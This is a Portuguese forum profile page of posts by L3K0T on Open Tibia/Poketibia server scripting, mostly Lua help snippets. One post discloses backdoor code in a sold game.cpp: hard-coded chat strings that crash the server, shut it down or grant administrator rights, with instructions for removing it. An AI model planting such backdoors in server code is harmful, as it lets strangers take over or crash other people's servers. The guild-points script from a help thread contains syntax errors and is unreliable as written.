
Tudo que L3K0T postou
-
Auto saved quando otserv cai
problema de bug quando cair, você é de resolver eles. Agora pra salvar tem um scripts lá em globalevents.xml escrito SAVE ele já faz a parte de salva é só configurar o tempo para salvar. <globalevent name="save" interval="5000" event="script" value="save.lua"/> local config = { broadcast = {120, 30}, shallow = "no", delay = 120, events = 30 } config.shallow = getBooleanFromString(config.shallow) local function executeSave(seconds) if(isInArray(config.broadcast, seconds)) then local text = "" if(not config.shallow) then text = "" else text = "" end text = text .. "[AUTO] Salve Server" .. seconds .. "Segundos!" doBroadcastMessage(text) end if(seconds > 0) then addEvent(executeSave, config.events * 1000, seconds - config.events) else doSaveServer(config.shallow) end end function onThink(interval, lastExecution, thinkInterval) if(table.maxn(config.broadcast) == 0) then doSaveServer(config.shallow) else executeSave(config.delay) end return true end
-
Source Poketibia - Códigos de derrubar
sim!
-
(Resolvido)Adicionar Storage no Player neste Script?
function onSay(cid, words, param) local t = string.explode(string.lower(param), ",") local call, name, day = t[1], t[2], t[3] local player, keys = getPlayerByName(name), {"add", "remove", "check"} if not isInArray(keys, call) or param == '' or name == nil then return doPlayerPopupFYI(cid,"Está com problemas? Olhe o exemplo a baixo!\nAprenda os comandos!\n-----------------------------\nAdicionar premium:\n/pa ".. keys[1] ..", Nome do Player, Dias\n/pa ".. keys[1] ..", Rodrigo, 30\n-----------------------------\nRemover premium:\n/pa ".. keys[2] ..", Nome do Player, Dias\n/pa ".. keys[2] ..", Rodrigo, 30\n-----------------------------\nVer Premium:\n/pa ".. keys[3] ..", Nome do Player\n/pa check, Rodrigo\n-----------------------------") elseif not isPlayer(player) then return doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, 'O jogador não está online ou não existe!') end if call == keys[1] then doPlayerAddPremiumDays(player, day) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, 'Foram adicionados '.. day ..' dias de premium ao jogador '.. name ..'.') setPlayerStorageValue(cid,55555,1) doPlayerSendTextMessage(player, MESSAGE_EVENT_ADVANCE, 'Você recebeu '.. day ..' Premium Dias do [ADM] Digoshow.') elseif call == keys[2] then if getPlayerPremiumDays(player) > 0 then doPlayerRemovePremiumDays(player, day) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, 'Foram removidos '.. day ..' dias de premium do jogador '.. name ..'.') else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, 'Esse jogador não possui nenhum dia de premium.') end elseif call == keys[3] then if isPremium(player) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, 'O jogador '.. name ..' tem '.. getPlayerPremiumDays(player) ..' dias de premium.') else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, 'O jogador '..name ..' é free account.') end end return true end
-
Source Poketibia - Códigos de derrubar
chama Lucas Silva, outra coisa, ontem achei +1 código numa source do DXP que faz derruba, incrível, é só trocar pelo o meu ai.
-
Assassin star infinita
bom eu não sei nessa versão se tem a opção de tirar isso, mais se tiver é na config.lua deixar em false
-
(Resolvido)Onde eu consigo os arquivos originais do tibia 8.6?
tem esse é global mesmo https://github.com/otservme/global860 source e tudo.
-
Ajuda Compilacao Ubuntu
baixa o Putty http://www.putty.org/ insira os dados que form fornecido pela empresa e siga o tutorial do @Nicrox
-
TFS 0.4 8.60 com effects até 255
Windows ou Linux ?
-
npc que bloqueia item
local revivePoke = ID DO REVIVE if getPlayerItemCount(cid, revivePoke) >= 1 then selfSay('......', cid) return true end
-
0.7.5 Duplicate uniqueId 6554
tente olha novamente no RME, verifica com calma
-
npc que bloqueia item
qual o erro ? tente local pokeball = {2391, 2392, 2393, 2394, 12617, 12832, ID do REVIVE} -- whit this pokeballs you CANT enter in the quest. for i = 1, #pokeball do if getPlayerItemCount(cid, pokeball) >= 1 then npcHandler:say('Coloque suas Pokeball no Cp e seus Revives', cid) return TRUE end end
-
0.7.5 Duplicate uniqueId 6554
ja olhou em movements ?
-
0.7.5 Duplicate uniqueId 6554
é uma Unique ID e uma ActionID num lugar só, vo explicar, la num bau tem uma uniqueid 6554, ai no mesmo bau tem uma actionid 6554 vai constar duplicado
-
Source Poketibia - Códigos de derrubar
sim, pior quando você compra algo, é pq tem confiança, o mesmo começa a ficar com inveja e faz isso pra ferrar mesmo, muita mancada
-
Source Poketibia - Códigos de derrubar
Olá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo. ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) Código 1 bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP. Código 2 bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
- Ajuda addon system
-
[SCRIPT/MAP] QUEST 3 BAUS (bau com poke) 2 REP+
se tiver pego s, primeiro clique n
-
[SCRIPT/MAP] QUEST 3 BAUS (bau com poke) 2 REP+
da um f5 pq eu editei
-
[SCRIPT/MAP] QUEST 3 BAUS (bau com poke) 2 REP+
function onUse(cid, item, fromPosition, itemEx, toPosition) local pox = getPlayerPosition(cid) if isPlayer(cid) == TRUE then if (item.actionid == 5000) then if getPlayerStorageValue(cid, 10001) ~= 1 then local health = 6000 local maxhealth = 6000 local description = "Contains a Charizard." local poke1 = "This is Charizard's pokeball. HP = ["..health.."/"..maxhealth.."]" item = doCreateItemEx(2219) doItemSetAttribute(item, "poke", poke1) doItemSetAttribute(item, "nome", "Charizard") doItemSetAttribute(item, "description", description) doPlayerAddItemEx(cid, item, true) doTransformItem(item, 2222) setPlayerStorageValue(cid, 10001, 1) doPlayerSendTextMessage(cid, 27, "Você pegou um pokémon (Charizard)") else doPlayerSendTextMessage(cid, 27, "Voce ja escolheu o Pokemon!") doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) setPlayerStorageValue(cid, 10001, 0) return FALSE end end end end add um ACTIONID e não UNIQUEID no bau e use esse script, apenas mude o nome do pokemon nele mais nada! <action actionid=5000" event="script" value="pokemon1.lua"/> <action actionid="5001" event="script" value="pokemon2.lua"/> <action actionid="5002" event="script" value="pokemon3.lua"/> 5000 5001 5002 no 3 baus
-
(Resolvido)Trocar premium points no trade
seria praticamente isso ? !tradepoints Nomedoplayer, quantidade e abriria o trade do outro jogador ? ao aceitar os pontos iria por trade é isso, não entendi muito bem
-
npc que bloqueia item
local pokeball = {2391, 2392, 2393, 2394, 12617, 12832, ID do REVIVE} -- whit this pokeballs you CANT enter in the quest. for i = 1, #pokeball do if getPlayerItemCount(cid, pokeball) >= 1 then npcHandler:say('Coloque suas Pokeball no Cp e seus Revives', cid) return true end end
-
(PEDIDO) task simples
- [SCRIPT/MAP] QUEST 3 BAUS (bau com poke) 2 REP+
manda seu golback- [ERRO] GUILD POINTS
opa, vou analisar e testar @Micheel15 local gp = { ExecuteIntervalHours = 24, NeedPlayersOnline = 3, NeedDiferentIps = 0, MinLevel = 50, AddPointsForAcc = 3, } function getGuildPlayersValidAccIDS(GuildID,MinLevel) local RanksIDS = {} local AccsID = {} local ValidAccsID = {} Query1 = db.getResult("SELECT `id` FROM `guild_ranks` WHERE guild_id = '".. GuildID .."") if(Query1:getID() == -1) then return ValidAccsID end for i = 1, Query1:getRows() do table.insert(RanksIDS, Query1:getDataInt("id")) Query1:next() end Query2 = db.getResult("SELECT `account_id` FROM `players` WHERE `rank_id` IN (".. table.concat(RanksIDS, ', ') ..") AND `level` >= ".. MinLevel .."") if(Query2:getID() == -1) then return ValidAccsID end for i = 1, Query2:getRows() do local AccID = Query2:getDataInt("account_id") if #AccsID > 0 then for k = 1, #AccsID do if AccID == AccsID[k] then AddAccList = false break end AddAccList = true end if AddAccList then table.insert(AccsID, AccID) end else table.insert(AccsID, AccID) end Query2:next() end Query3 = db.getResult("SELECT `id` FROM `accounts` WHERE `guild_points_stats` = 0 AND `id` IN (".. table.concat(AccsID, ', ') ..")") if(Query3:getID() == -1) then return ValidAccsID end for i = 1, Query3:getRows() do local AccID = Query3:getDataInt("id") if #ValidAccsID > 0 then for k = 1, #ValidAccsID do if AccID == ValidAccsID[k] then AddAccList = false break end AddAccList = true end if AddAccList then table.insert(ValidAccsID, AccID) end else table.insert(ValidAccsID, AccID) end Query3:next() end return ValidAccsID end function onSay(cid, words, param, channel) if(getPlayerGuildLevel(cid) == 3) then local GuildID = getPlayerGuildId(cid) Query = db.getResult("SELECT `last_execute_points` FROM `guilds` WHERE id = '".. GuildID .."'") if(Query:getID() == -1) then return true end if Query:getDataInt("last_execute_points") < os.time() then local GuildMembers = {} local GuildMembersOnline = {} local PlayersOnline = getPlayersOnline() for i, pid in ipairs(PlayersOnline) do if getPlayerGuildId(pid) == GuildID then if getPlayerLevel(pid) >= .MinLevel then table.insert(GuildMembersOnline, pid) end end end if #GuildMembersOnline >= .NeedPlayersOnline then local IPS = {} for i, pid in ipairs(GuildMembersOnline) do local PlayerIP = getPlayerIp(pid) if #IPS > 0 then for k = 1, #IPS do if PlayerIP == IPS[k] then AddIPList = false break end AddIPList = true end if AddIPList then table.insert(IPS, PlayerIP) end else table.insert(IPS, PlayerIP) end end if #IPS >= gp.NeedDiferentIps then local ValidAccounts = getGuildPlayersValidAccIDS(GuildID, gp.MinLevel) db.query("UPDATE `guilds` SET `last_execute_points` = ".. os.time() +(gp.ExecuteIntervalHours * 3600) .." WHERE `guilds`.`id` = ".. GuildID ..";") doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "".. #ValidAccounts .." Players received points") if #ValidAccounts > 0 then db.query("UPDATE `accounts` SET `guild_points` = `guild_points` + " ..gp.AddPointsForAcc .. ", `guild_points_stats` = ".. os.time() .." WHERE `id` IN (" .. table.concat(ValidAccounts, ',') ..");") for i, pid in ipairs(GuildMembersOnline) do local PlayerMSGAccID = getPlayerAccountId(pid) for k = 1, #ValidAccounts do if PlayerMSGAccID == ValidAccounts[k] then doPlayerSendTextMessage(pid, MESSAGE_INFO_DESCR, "You received "..gp.AddPointsForAcc .." guild points.") break end end end end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Only ".. #IPS .." players are valid, you need ".. gp.NeedDiferentIps .." players with different ips.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Has only ".. #GuildMembersOnline .." players online you need ".. gp.NeedPlayersOnline .." players online at least from level ".. gp.MinLevel ..".") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "The command can only be run once every "..gp.ExecuteIntervalHours .." hours.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Only guild leader can request points.") end return true end- [ERRO] GUILD POINTS
sim! - [SCRIPT/MAP] QUEST 3 BAUS (bau com poke) 2 REP+
Informação Importante
Confirmação de Termo